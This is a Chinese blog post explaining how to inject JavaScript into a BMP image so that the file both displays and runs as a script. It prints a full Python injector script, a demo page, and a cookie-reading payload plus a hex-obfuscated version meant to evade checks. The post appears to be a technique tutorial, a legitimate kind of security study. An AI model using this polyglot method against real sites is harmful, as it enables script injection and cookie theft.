注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

碳基体

http://weibo.com/tanjiti

 
 
 
 
 

日志

 
 

图片攻击-BMP图片中注入恶意JS代码  

2013-10-23 01:06:17|  分类: web app security |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
昨天看到一篇文章《hacking throung images》(需翻墙),里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示,
也可以运行其中的JS代码,觉得相当有趣。

执行JS注入的脚本
关键:构造符合正常BMP格式的图片

步骤
1. 将原BMP文件的第三,第四字节替换\x2F\x2A, 对应js中的注释符号/*
BMP文件的第三、四、五、六字节表示BMP文件的大小

2. 在BMP文件末尾添加
(1)\xFF
(2)\x2A\x2F,对应的js中的注释符号*/
(3)\x3D\x31\x3B,对应的=1;  是为了伪造成BMP格式
(4)定制的JS代码

BMPinjector.py源码如下(Macro Ramili原本的源码

#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
f = open(fname,"r+b")
b = f.read()
f.close()

f = open(fname,"w+b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close()

f = open(fname,"a+b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to infected")
parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
args = parser.parse_args()
injectFile(args.js_payload,args.filename)


演示
下面演示实际效果
运行脚本,将指定的JS代码写入到正常的BMP图片中
格式:python 脚本名 -i 正常BMP格式图片 JSPayload

python BMPinjector.py -i 1.bmp "alert(document.cookie);"

演示页面run.html

<html> <head><title>Opening an image</title></head> <body> <img src="1.bmp"\> <script src="1.bmp"></script> </body> </html>


 运行 http://xxx/run.html
BMP图片中注入恶意JS代码-BMPinjector.py - 碳基体 - 碳基体
也可以采用js混淆来绕过检查,得到和上面一样的效果

python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

注意:\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie




参考:
http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html
  评论这张
 
阅读(7175)| 评论(5)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017